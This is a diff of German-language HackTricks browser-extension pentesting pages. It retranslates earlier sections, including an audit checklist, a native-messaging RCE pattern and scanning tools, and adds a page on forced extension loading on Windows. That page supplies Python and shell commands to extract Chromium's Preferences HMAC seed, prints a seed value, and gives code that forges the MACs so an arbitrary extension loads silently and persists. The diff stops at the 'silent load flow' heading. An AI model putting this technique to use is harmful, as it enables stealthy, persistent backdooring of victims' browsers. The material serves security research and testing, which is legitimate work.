+Chrome/Chromium sucht dieses json in bestimmten Windows-Registry-Einträgen und in einigen Pfaden unter macOS und Linux (mehr Infos in den [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).

 > [!TIP]
-> Die Browsererweiterung benötigt auch die `nativeMessaing`-Berechtigung, um diese Kommunikation nutzen zu können.
+> Die Browser-Erweiterung benötigt außerdem die deklarierte Berechtigung `nativeMessaing`, um diese Kommunikation nutzen zu können.

-So sieht ein Hintergrundskript-Code aus, der Nachrichten an eine native Anwendung sendet:
+So sieht ein Beispiel für Code eines Hintergrundskripts aus, das Nachrichten an eine native Anwendung sendet:
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@ -556,144 +562,152 @@ console.log("Received " + response)
 }
 )
 ```
-In [**diesem Blogbeitrag**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) wird ein verwundbares Muster vorgeschlagen, das native Nachrichten missbraucht:
+In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), wird ein verwundbares Muster zum Missbrauch von native messages vorgeschlagen:

-1. Die Browsererweiterung hat ein Wildcard-Muster für das Inhalts-Skript.
-2. Das Inhalts-Skript überträgt `postMessage`-Nachrichten an das Hintergrund-Skript mit `sendMessage`.
-3. Das Hintergrund-Skript überträgt die Nachricht an die native Anwendung mit `sendNativeMessage`.
-4. Die native Anwendung verarbeitet die Nachricht gefährlich, was zu einer Codeausführung führt.
+1. Browser extension hat ein Wildcard-Pattern für das content script.
+2. Content script leitet `postMessage`-Nachrichten an das background script weiter, indem es `sendMessage` verwendet.
+3. Background script leitet die Nachricht an die native application weiter mittels `sendNativeMessage`.
+4. Native application verarbeitet die Nachricht unsicher, was zu code execution führen kann.

-Und darin wird ein Beispiel für **den Übergang von jeder Seite zu RCE unter Ausnutzung einer Browsererweiterung erklärt**.
+Darin wird ein Beispiel erklärt, wie man von jeder Seite zu RCE gelangen kann, indem man eine Browser extension ausnutzt.

-## Sensible Informationen im Speicher/Code/Clipboard
+## Sensitive Information in Memory/Code/Clipboard

-Wenn eine Browsererweiterung **sensible Informationen im Speicher speichert**, können diese **ausgelesen** (insbesondere auf Windows-Maschinen) und nach diesen Informationen **gesucht** werden.
+Wenn eine Browser Extension sensible Informationen im Arbeitsspeicher speichert, könnten diese (insbesondere auf Windows-Maschinen) gedumpt und nach diesen Informationen durchsucht werden.

-Daher sollte der Speicher der Browsererweiterung **nicht als sicher betrachtet werden** und **sensible Informationen** wie Anmeldeinformationen oder mnemonische Phrasen **sollten nicht gespeichert** werden.
+Deshalb sollte der Arbeitsspeicher der Browser Extension nicht als sicher angesehen werden und sensible Informationen wie Credentials oder mnemonic phrases sollten nicht gespeichert werden.

-Natürlich sollten **keine sensiblen Informationen im Code** platziert werden, da sie **öffentlich** sein werden.
+Lege natürlich keine sensiblen Informationen in den Code, da dieser öffentlich sein wird.

-Um den Speicher des Browsers auszulesen, könnten Sie **den Prozessspeicher auslesen** oder zu den **Einstellungen** der Browsererweiterung gehen, auf **`Pop-up inspizieren`** klicken -> Im **`Speicher`**-Bereich -> **`Schnappschuss erstellen`** und **`STRG+F`** verwenden, um im Schnappschuss nach sensiblen Informationen zu suchen.
+Um den Speicher des Browsers zu dumpen, kannst du entweder den Prozessspeicher dumpen oder in die Einstellungen der Browser Extension gehen, auf **`Inspect pop-up`** klicken -> im **`Memory`** Bereich -> **`Take a snaphost`** und mit **`CTRL+F`** innerhalb des Snapshots nach sensiblen Informationen suchen.

-Darüber hinaus sollten hochsensible Informationen wie mnemonische Schlüssel oder Passwörter **nicht in die Zwischenablage kopiert werden dürfen** (oder zumindest innerhalb weniger Sekunden von der Zwischenablage entfernt werden), da Prozesse, die die Zwischenablage überwachen, sie dann erhalten können.
+Außerdem sollte es nicht erlaubt sein, hochsensible Informationen wie mnemonic keys oder Passwörter in die clipboard zu kopieren (oder sie zumindest nach ein paar Sekunden wieder daraus zu entfernen), da Prozesse, die die clipboard überwachen, sonst darauf zugreifen können.

-## Laden einer Erweiterung im Browser
+## Loading an Extension in the Browser

-1. **Laden** Sie die Browsererweiterung herunter und entpacken Sie sie.
-2. Gehen Sie zu **`chrome://extensions/`** und **aktivieren** Sie den `Entwicklermodus`.
-3. Klicken Sie auf die Schaltfläche **`Entpackte Erweiterung laden`**.
+1. **Herunterladen** der Browser Extension & entpacken
+2. Gehe zu **`chrome://extensions/`** und aktiviere den `Developer Mode`
+3. Klicke auf den Button **`Load unpacked`**

-In **Firefox** gehen Sie zu **`about:debugging#/runtime/this-firefox`** und klicken auf die Schaltfläche **`Temporäre Erweiterung laden`**.
+In **Firefox** gehst du zu **`about:debugging#/runtime/this-firefox`** und klickst auf den Button **`Load Temporary Add-on`**.

-## Den Quellcode aus dem Store abrufen
+## Getting the source code from the store

-Der Quellcode einer Chrome-Erweiterung kann auf verschiedene Weise abgerufen werden. Nachfolgend sind detaillierte Erklärungen und Anweisungen für jede Option aufgeführt.
+Der Quellcode einer Chrome-Erweiterung kann auf verschiedene Weisen beschafft werden. Im Folgenden findest du detaillierte Erklärungen und Anleitungen für jede Option.

-### Erweiterung als ZIP über die Befehlszeile herunterladen
+### Download Extension as ZIP via Command Line

-Der Quellcode einer Chrome-Erweiterung kann über die Befehlszeile als ZIP-Datei heruntergeladen werden. Dies beinhaltet die Verwendung von `curl`, um die ZIP-Datei von einer bestimmten URL abzurufen und dann den Inhalt der ZIP-Datei in ein Verzeichnis zu extrahieren. Hier sind die Schritte:
+Der Quellcode einer Chrome-Erweiterung kann per Kommandozeile als ZIP-Datei heruntergeladen werden. Dazu wird `curl` verwendet, um die ZIP-Datei von einer bestimmten URL zu holen und anschließend den Inhalt der ZIP-Datei in ein Verzeichnis zu entpacken. Hier sind die Schritte:

-1. Ersetzen Sie `"extension_id"` durch die tatsächliche ID der Erweiterung.
-2. Führen Sie die folgenden Befehle aus:
+1. Ersetze `"extension_id"` durch die tatsächliche ID der Erweiterung.
+2. Führe die folgenden Befehle aus:
 ```bash
 extension_id=your_extension_id   # Replace with the actual extension ID
 curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
 unzip -d "$extension_id-source" "$extension_id.zip"
 ```
-### Verwenden Sie die CRX Viewer-Website
+### Die CRX Viewer-Website verwenden

 [https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)

-### Verwenden Sie die CRX Viewer-Erweiterung
+### Die CRX Viewer-Erweiterung verwenden

-Eine weitere praktische Methode ist die Verwendung des Chrome Extension Source Viewer, der ein Open-Source-Projekt ist. Er kann aus dem [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) installiert werden. Der Quellcode des Viewers ist in seinem [GitHub-Repository](https://github.com/Rob--W/crxviewer) verfügbar.
+Eine weitere bequeme Methode ist die Verwendung des Chrome Extension Source Viewer, ein Open-Source-Projekt. Es kann aus dem [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) installiert werden. Der Quellcode des Viewers ist in seinem [GitHub repository](https://github.com/Rob--W/crxviewer) verfügbar.

-### Quellcode der lokal installierten Erweiterung anzeigen
+### Quellcode einer lokal installierten Erweiterung anzeigen

-Chrome-Erweiterungen, die lokal installiert sind, können ebenfalls inspiziert werden. So geht's:
+Lokal installierte Chrome-Erweiterungen können ebenfalls inspiziert werden. So geht's:

-1. Greifen Sie auf Ihr lokales Chrome-Profilverzeichnis zu, indem Sie `chrome://version/` besuchen und das Feld "Profilpfad" suchen.
-2. Navigieren Sie zum Unterordner `Extensions/` innerhalb des Profilverzeichnisses.
-3. Dieser Ordner enthält alle installierten Erweiterungen, typischerweise mit ihrem Quellcode in einem lesbaren Format.
+1. Rufen Sie Ihr lokales Chrome-Profilverzeichnis auf, indem Sie `chrome://version/` öffnen und das Feld "Profile Path" finden.
+2. Navigieren Sie zum Unterordner `Extensions/` im Profilverzeichnis.
+3. Dieser Ordner enthält alle installierten Erweiterungen, typischerweise mit ihrem Quellcode in lesbarem Format.

 Um Erweiterungen zu identifizieren, können Sie deren IDs den Namen zuordnen:

- Aktivieren Sie den Entwicklermodus auf der Seite `about:extensions`, um die IDs jeder Erweiterung zu sehen.
- In jedem Erweiterungsordner enthält die Datei `manifest.json` ein lesbares `name`-Feld, das Ihnen hilft, die Erweiterung zu identifizieren.
+- Aktivieren Sie Developer Mode auf der `about:extensions`-Seite, um die IDs jeder Erweiterung zu sehen.
+- Innerhalb jedes Erweiterungsordners enthält die `manifest.json`-Datei ein lesbares `name`-Feld, das bei der Identifikation hilft.

-### Verwenden Sie einen Dateiarchivier oder -entpacker
+### Einen Datei-Archivierer oder Unpacker verwenden

-Gehen Sie zum Chrome Web Store und laden Sie die Erweiterung herunter. Die Datei hat die Erweiterung `.crx`. Ändern Sie die Dateierweiterung von `.crx` in `.zip`. Verwenden Sie einen beliebigen Dateiarchivier (wie WinRAR, 7-Zip usw.), um den Inhalt der ZIP-Datei zu extrahieren.
+Gehen Sie zum Chrome Web Store und laden Sie die Erweiterung herunter. Die Datei hat die Erweiterung `.crx`. Ändern Sie die Dateiendung von `.crx` zu `.zip`. Verwenden Sie einen beliebigen Datei-Archivierer (wie WinRAR, 7-Zip, etc.), um den Inhalt der ZIP-Datei zu extrahieren.

-### Verwenden Sie den Entwicklermodus in Chrome
+### Developer Mode in Chrome verwenden

-Öffnen Sie Chrome und gehen Sie zu `chrome://extensions/`. Aktivieren Sie "Entwicklermodus" oben rechts. Klicken Sie auf "Entpackte Erweiterung laden...". Navigieren Sie zum Verzeichnis Ihrer Erweiterung. Dies lädt den Quellcode nicht herunter, ist jedoch nützlich, um den Code einer bereits heruntergeladenen oder entwickelten Erweiterung anzuzeigen und zu ändern.
+Öffnen Sie Chrome und gehen Sie zu `chrome://extensions/`. Aktivieren Sie "Developer mode" oben rechts. Klicken Sie auf "Load unpacked extension...". Navigieren Sie zum Verzeichnis Ihrer Erweiterung. Dadurch wird der Quellcode nicht heruntergeladen, aber es ist nützlich, um den Code einer bereits heruntergeladenen oder entwickelten Erweiterung anzusehen und zu modifizieren.

-## Chrome-Erweiterungsmanifest-Datensatz
+## Chrome extension manifest dataset

-Um anfällige Browsererweiterungen zu erkennen, können Sie das [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) verwenden und deren Manifestdateien auf potenziell anfällige Hinweise überprüfen. Zum Beispiel, um nach Erweiterungen mit mehr als 25000 Benutzern, `content_scripts` und der Berechtigung `nativeMessaging` zu suchen:
+In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`:
 ```bash
 # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
 node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
 ```
-## Sicherheitsprüfungs-Checkliste
+## Post-exploitation: Forced extension load & persistence (Windows)

-Obwohl Browsererweiterungen eine **begrenzte Angriffsfläche** haben, können einige von ihnen **Schwachstellen** oder **potenzielle Verbesserungen der Sicherheit** enthalten. Die folgenden sind die häufigsten:
+Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags.

- [ ] **Berechtigungen** so weit wie möglich **einschränken**
- [ ] **Host-Berechtigungen** so weit wie möglich **einschränken**
- [ ] Verwenden Sie eine **starke** **`content_security_policy`**
- [ ] **Extern zugängliche** **`externally_connectable`** so weit wie möglich **einschränken**, wenn keine benötigt wird und möglich ist, lassen Sie es nicht standardmäßig, geben Sie **`{}`** an
- [ ] Wenn hier eine **URL, die anfällig für XSS oder Übernahme ist**, erwähnt wird, kann ein Angreifer **Nachrichten direkt an die Hintergrundskripte senden**. Sehr mächtiger Umgehung.
- [ ] **Web zugängliche Ressourcen** so weit wie möglich **einschränken**, sogar leer, wenn möglich.
- [ ] Wenn **`web_accessible_resources`** nicht leer ist, überprüfen Sie auf [**ClickJacking**](browext-clickjacking.md)
- [ ] Wenn eine **Kommunikation** von der **Erweiterung** zur **Webseite** erfolgt, [**überprüfen Sie auf XSS**](browext-xss-example.md) **Schwachstellen**, die in der Kommunikation verursacht werden.
- [ ] Wenn Post-Nachrichten verwendet werden, überprüfen Sie auf [**Post-Nachrichten-Schwachstellen**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Wenn das **Inhalts-Skript auf DOM-Details zugreift**, überprüfen Sie, ob sie **kein XSS einführen**, wenn sie von der Webseite **modifiziert** werden
- [ ] Legen Sie besonderen Wert darauf, ob diese Kommunikation auch an der **Kommunikation zwischen Inhalts-Skript und Hintergrundskript** beteiligt ist
- [ ] Wenn das Hintergrundskript über **native Messaging** kommuniziert, überprüfen Sie, ob die Kommunikation sicher und bereinigt ist
- [ ] **Sensible Informationen sollten nicht** im Code der Browsererweiterung **gespeichert werden**
- [ ] **Sensible Informationen sollten nicht** im Speicher der Browsererweiterung **gespeichert werden**
- [ ] **Sensible Informationen sollten nicht** im **Dateisystem ungeschützt** gespeichert werden
+{{#ref}}
+forced-extension-load-preferences-mac-forgery-windows.md
+{{#endref}}

-## Risiken von Browsererweiterungen
+## Security Audit Checklist

- Die App [https://crxaminer.tech/](https://crxaminer.tech/) analysiert einige Daten wie die Berechtigungen, die die Browsererweiterung anfordert, um ein Risikoniveau für die Verwendung der Browsererweiterung anzugeben.
+Auch wenn Browser Extensions eine **begrenzte Angriffsfläche** haben, können einige von ihnen **Vulnerabilities** oder **mögliche Härtungsverbesserungen** enthalten. Die folgenden Punkte sind die häufigsten:

-## Werkzeuge
+- [ ] **Beschränke** so weit wie möglich die angeforderten **`permissions`**
+- [ ] **Beschränke** so weit wie möglich **`host_permissions`**
+- [ ] Verwende eine **starke** **`content_security_policy`**
+- [ ] **Beschränke** so weit wie möglich das **`externally_connectable`**; wenn keines benötigt wird, lasse es nicht standardmäßig offen, setze **`{}`**
+- [ ] Wenn hier eine **URL vulnerable to XSS or to takeover** erwähnt wird, kann ein Angreifer **directly send messages to the background scripts**. Sehr mächtiger Bypass.
+- [ ] **Beschränke** so weit wie möglich die **`web_accessible_resources`**, idealerweise leer wenn möglich.
+- [ ] Falls **`web_accessible_resources`** nicht leer ist, prüfe auf [**ClickJacking**](browext-clickjacking.md)
+- [ ] Wenn irgendeine **Kommunikation** von der **Extension** zur **Webseite** erfolgt, [**prüfe auf XSS**](browext-xss-example.md) **Vulnerabilities**, die durch die Kommunikation verursacht werden könnten.
+- [ ] Wenn Post Messages verwendet werden, prüfe auf [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
+- [ ] Wenn das **Content Script** auf DOM-Details zugreift, stelle sicher, dass dadurch **keine XSS** eingeführt werden, falls diese vom Web modifiziert werden
+- [ ] Lege besonderen Wert auf diese Kommunikation, wenn sie in der **Content Script -> Background script communication** involviert ist
+- [ ] Wenn das background script über **native messaging** kommuniziert, prüfe, dass die Kommunikation sicher ist und Eingaben sanitisiert werden
+- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code**
+- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory**
+- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected**
+
+## Browser Extension Risks
+
+- Die App [https://crxaminer.tech/](https://crxaminer.tech/) analysiert einige Daten wie die angeforderten permissions einer Browser Extension, um ein Risikoniveau für die Nutzung der Browser Extension anzugeben.
+
+## Tools

 ### [**Tarnish**](https://thehackerblog.com/tarnish/)

- Zieht jede Chrome-Erweiterung von einem bereitgestellten Chrome-Webstore-Link.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **Viewer**: zeigt einfach eine JSON-hübsch formatierte Version des Manifests der Erweiterung an.
- **Fingerprint-Analyse**: Erkennung von [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) und automatische Generierung von Fingerprinting-JavaScript für Chrome-Erweiterungen.
- **Potenzielle Clickjacking-Analyse**: Erkennung von HTML-Seiten der Erweiterung mit der [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) Direktive. Diese sind potenziell anfällig für Clickjacking, abhängig vom Zweck der Seiten.
- **Berechtigungswarnungen Viewer**: zeigt eine Liste aller Chrome-Berechtigungsaufforderungswarnungen, die angezeigt werden, wenn ein Benutzer versucht, die Erweiterung zu installieren.
- **Gefährliche Funktion(en)**: zeigt den Standort gefährlicher Funktionen, die potenziell von einem Angreifer ausgenutzt werden könnten (z. B. Funktionen wie innerHTML, chrome.tabs.executeScript).
- **Einstiegspunkt(e)**: zeigt, wo die Erweiterung Benutzereingaben/externe Eingaben entgegennimmt. Dies ist nützlich, um die Angriffsfläche einer Erweiterung zu verstehen und nach potenziellen Punkten zu suchen, um bösartig gestaltete Daten an die Erweiterung zu senden.
- Sowohl die Scanner für gefährliche Funktion(en) als auch Einstiegspunkt(e) haben Folgendes für ihre generierten Warnungen:
- Relevanter Codeausschnitt und Zeile, die die Warnung verursacht hat.
- Beschreibung des Problems.
- Eine „Datei anzeigen“-Schaltfläche, um die vollständige Quelldatei mit dem Code anzuzeigen.
- Der Pfad der alarmierten Datei.
- Die vollständige Chrome-Erweiterungs-URI der alarmierten Datei.
- Die Art der Datei, z. B. ein Hintergrundseiten-Skript, Inhalts-Skript, Browser-Aktion usw.
- Wenn die anfällige Zeile in einer JavaScript-Datei ist, die Pfade aller Seiten, auf denen sie enthalten ist, sowie den Typ dieser Seiten und den [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) Status.
- **Content Security Policy (CSP) Analyzer und Umgehungsprüfer**: Dies wird Schwächen in der CSP Ihrer Erweiterung aufzeigen und auch potenzielle Möglichkeiten zur Umgehung Ihrer CSP aufgrund von aufgelisteten CDNs usw. beleuchten.
- **Bekannte anfällige Bibliotheken**: Dies verwendet [Retire.js](https://retirejs.github.io/retire.js/), um die Verwendung bekannter anfälliger JavaScript-Bibliotheken zu überprüfen.
- Erweiterung und formatierte Versionen herunterladen.
- Die ursprüngliche Erweiterung herunterladen.
- Eine verschönerte Version der Erweiterung herunterladen (automatisch hübsch formatierte HTML- und JavaScript).
- Automatische Zwischenspeicherung der Scanergebnisse, das Ausführen eines Erweiterungsscans wird beim ersten Mal eine gute Menge Zeit in Anspruch nehmen. Beim zweiten Mal, vorausgesetzt, die Erweiterung wurde nicht aktualisiert, wird es aufgrund der zwischengespeicherten Ergebnisse fast sofort sein.
- Verlinkbare Bericht-URLs, um jemand anderem leicht einen von Tarnish generierten Erweiterungsbericht zu verlinken.
+- Lädt jede Chrome extension von einem angegebenen Chrome webstore link herunter.
+- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: zeigt einfach eine JSON-prettified Version des Manifests der Extension an.
+- **Fingerprint Analysis**: Erkennung von [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) und automatische Generierung von Chrome extension fingerprinting JavaScript.
+- **Potential Clickjacking Analysis**: Erkennung von Extension-HTML-Seiten mit der [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)-Direktive. Diese können je nach Zweck der Seiten potentiell für Clickjacking anfällig sein.
+- **Permission Warning(s) viewer**: zeigt eine Liste aller Chrome permission prompt warnings, die angezeigt werden, wenn ein Benutzer versucht, die Extension zu installieren.
+- **Dangerous Function(s)**: zeigt die Position potenziell gefährlicher Funktionen, die von einem Angreifer ausgenutzt werden könnten (z. B. Funktionen wie innerHTML, chrome.tabs.executeScript).
+- **Entry Point(s)**: zeigt, wo die Extension Benutzer-/externe Eingaben entgegennimmt. Nützlich, um die Angriffsfläche einer Extension zu verstehen und potenzielle Stellen zu finden, um bösartig gestaltete Daten an die Extension zu senden.
+- Sowohl die Dangerous Function(s)- als auch die Entry Point(s)-Scanner liefern für ihre generierten Alerts Folgendes:
+  - Relevanter Code-Snippet und die Zeile, die den Alert ausgelöst hat.
+  - Beschreibung des Problems.
+  - Einen „View File“-Button, um die komplette Quelldatei mit dem Code anzusehen.
+  - Den Pfad der betroffenen Datei.
+  - Die vollständige Chrome extension URI der betroffenen Datei.
+  - Den Dateityp, z. B. Background Page script, Content Script, Browser Action usw.
+  - Falls die verwundbare Zeile in einer JavaScript-Datei ist, die Pfade aller Seiten, in denen sie eingebunden ist, sowie den Typ dieser Seiten und ihren [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)-Status.
+- **Content Security Policy (CSP) analyzer and bypass checker**: Hebt Schwächen in der CSP deiner Extension hervor und zeigt mögliche Umgehungen der CSP durch erlaubte CDNs usw. auf.
+- **Known Vulnerable Libraries**: Verwendet [Retire.js](https://retirejs.github.io/retire.js/) zur Überprüfung auf bekannte verwundbare JavaScript-Bibliotheken.
+- Download der Extension und formatierte Versionen.
+- Download der Original-Extension.
+- Download einer beautified Version der Extension (automatisch prettified HTML und JavaScript).
+- Automatisches Caching der Scan-Ergebnisse; der erste Scan einer Extension kann einige Zeit dauern. Beim zweiten Scan (sofern die Extension nicht aktualisiert wurde) ist das Ergebnis fast sofort verfügbar, da es gecached wurde.
+- Linkbare Report-URLs, um jemandem einfach einen Link zu einem von tarnish erstellten Extension-Report zu geben.

 ### [Neto](https://github.com/elevenpaths/neto)

-Projekt Neto ist ein Python 3-Paket, das entwickelt wurde, um versteckte Funktionen von Browser-Plugins und -Erweiterungen für bekannte Browser wie Firefox und Chrome zu analysieren und zu entschlüsseln. Es automatisiert den Prozess des Entpackens der gepackten Dateien, um diese Funktionen aus relevanten Ressourcen in einer Erweiterung wie `manifest.json`, Lokalisierungsordnern oder JavaScript- und HTML-Quelldateien zu extrahieren.
+Project Neto ist ein Python 3 Paket, das entwickelt wurde, um versteckte Features von Browser plugins und extensions für bekannte Browser wie Firefox und Chrome zu analysieren und aufzudecken. Es automatisiert das Entpacken der gepackten Dateien, um relevante Ressourcen aus einer Extension wie `manifest.json`, Lokalisierungsordnern oder Javascript- und HTML-Quellfiles zu extrahieren.

-## Referenzen
+## References

- **Danke an** [**@naivenom**](https://twitter.com/naivenom) **für die Hilfe mit dieser Methodik**
+- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
 - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
 - [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
 - [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
--- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md
@ -0,0 +1,206 @@
+# Forced Extension Load & Preferences MAC Forgery (Windows)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Überblick
+
+Tarnbare post-exploitation-Technik, um arbitrary extensions in Chromium-basierten Browsern unter Windows zu laden, indem die Preferences/Secure Preferences eines Nutzers bearbeitet und gültige HMACs für die modifizierten Nodes gefälscht werden. Funktioniert gegen Chrome/Chromium, Edge und Brave. Beobachtet auf Chromium 130 bis 139 zum Zeitpunkt der Veröffentlichung. Eine einfache disk write primitive im Profil des Opfers reicht aus, um eine voll-privilegierte extension persistent zu hinterlegen, ohne command-line flags oder Benutzeraufforderungen.
+
+> Kernidee: Chromium speichert pro Nutzer den extension state in einer JSON Preferences-Datei und schützt sie mit HMAC-SHA256. Wenn du gültige MACs mit dem im Browser eingebetteten seed berechnest und sie neben deinen injizierten Nodes schreibst, akzeptiert und aktiviert der Browser deinen extension-Eintrag.
+
+
+## Where extension state lives (Windows)
+
+- Non–domain‑joined Chrome profile:
+- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
+- Domain‑joined Chrome profile:
+- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
+- Key nodes used by Chromium:
+- extensions.settings.<extension_id> → eingebettetes Manifest/Metadaten für den extension-Eintrag
+- protection.macs.extensions.settings.<extension_id> → HMAC für diesen JSON-Blob
+- Chromium ≥134: extensions.ui.developer_mode (boolean) muss vorhanden und MAC‑signed sein, damit unpacked extensions aktiviert werden
+
+Simplified schema (illustrative):
+```json
+{
+"extensions": {
+"settings": {
+"<extension_id>": {
+"name": "Extension name",
+"manifest_version": 3,
+"version": "1.0",
+"key": "<BASE64 DER SPKI>",
+"path": "<absolute path if unpacked>",
+"state": 1,
+"from_bookmark": false,
+"was_installed_by_default": false
+// ...rest of manifest.json + required install metadata
+}
+},
+"ui": { "developer_mode": true }
+},
+"protection": {
+"macs": {
+"extensions": {
+"settings": { "<extension_id>": "<MAC>" },
+"ui": { "developer_mode": "<MAC>" }
+}
+}
+}
+}
+```
+Hinweise:
+- Edge/Brave verwenden ähnliche Strukturen. Der "protection seed"-Wert kann abweichen (bei Edge/Brave wurde in einigen Builds beobachtet, dass ein null-/anderer Seed verwendet wird).
+
+
+## Extension IDs: path vs key and making them deterministic
+
+Chromium leitet die Extension-ID wie folgt ab:
+- Gepackte/signierte extension: ID = SHA‑256 über DER‑encoded SubjectPublicKeyInfo (SPKI) → nimm die ersten 32 Hex-Zeichen → mappe 0–f auf a–p
+- Unpacked (no key in manifest): ID = SHA‑256 über die Bytes des absoluten Installationspfads → mappe 0–f auf a–p
+
+Um eine stabile ID über Hosts hinweg beizubehalten, bette einen festen base64 DER public key in manifest.json unter "key" ein. Die ID wird aus diesem key abgeleitet statt aus dem Installationspfad.
+
+Helfer, um eine deterministische ID und ein Schlüsselpaar zu erzeugen:
+```python
+import base64
+import hashlib
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.asymmetric import rsa
+
+def translate_crx_id(s: str) -> str:
+t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
+return ''.join(t.get(c, c) for c in s)
+
+def generate_extension_keys() -> tuple[str,str,str]:
+priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+pub = priv.public_key()
+spki = pub.public_bytes(encoding=serialization.Encoding.DER,
+format=serialization.PublicFormat.SubjectPublicKeyInfo)
+crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
+pub_b64 = base64.b64encode(spki).decode('utf-8')
+priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
+format=serialization.PrivateFormat.TraditionalOpenSSL,
+encryption_algorithm=serialization.NoEncryption())
+priv_b64 = base64.b64encode(priv_der).decode('utf-8')
+return crx_id, pub_b64, priv_b64
+
+print(generate_extension_keys())
+```
+Füge den erzeugten public key in deine manifest.json ein, um die ID zu sperren:
+```json
+{
+"manifest_version": 3,
+"name": "Synacktiv extension",
+"version": "1.0",
+"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
+}
+```
+## Forging Preferences integrity MACs (core bypass)
+
+Chromium schützt die Preferences mit HMAC‑SHA256 über "path" + serialized JSON value jedes Knotens. Der HMAC‑Seed ist in der resources.pak des Browsers eingebettet und war bis Chromium 139 noch gültig.
+
+Extrahiere den Seed mit GRIT pak_util und finde den Seed-Container (file id 146 in getesteten Builds):
+```bash
+python3 pak_util.py extract resources.pak -o resources_v139/
+python3 pak_util.py extract resources.pak -o resources_v139_dirty/
+# compare a clean vs minimally modified resources.pak to spot the seed holder
+xxd -p resources_v139/146
+# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
+```
+Berechne MACs (HEX in Großbuchstaben) wie folgt:
+```text
+ext_mac = HMAC_SHA256(seed,
+"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
+
+devmode_mac = HMAC_SHA256(seed,
+"extensions.ui.developer_mode" + ("true" or "false"))
+```
+Minimales Python-Beispiel:
+```python
+import json, hmac, hashlib
+
+def mac_upper(seed_hex: str, pref_path: str, value) -> str:
+seed = bytes.fromhex(seed_hex)
+# Compact JSON to match Chromium serialization closely
+val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
+msg = (pref_path + val).encode('utf-8')
+return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
+
+# Example usage
+settings_path = f"extensions.settings.{crx_id}"
+devmode_path = "extensions.ui.developer_mode"
+ext_mac = mac_upper(seed_hex, settings_path, settings_json)
+devmode_mac = mac_upper(seed_hex, devmode_path, "true")
+```
+- Schreibe die Werte unter:
+- protection.macs.extensions.settings.<crx_id> = ext_mac
+- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
+
+Browser-Unterschiede: Bei Microsoft Edge und Brave kann der seed null/anders sein. Die HMAC-Struktur bleibt gleich; passe den seed entsprechend an.
+
+> Implementierungstipps
+> - Verwende genau dieselbe JSON-Serialisierung, die Chromium beim Berechnen der MACs nutzt (kompaktes JSON ohne Leerraum ist in der Praxis sicher; das Sortieren von Schlüsseln kann helfen, Reihenfolgeprobleme zu vermeiden).
+> - Stelle sicher, dass extensions.ui.developer_mode existiert und auf Chromium ≥134 signiert ist, sonst wird dein unpacked-Eintrag nicht aktiviert.
+
+## End‑to‑end silent load flow (Windows)
+
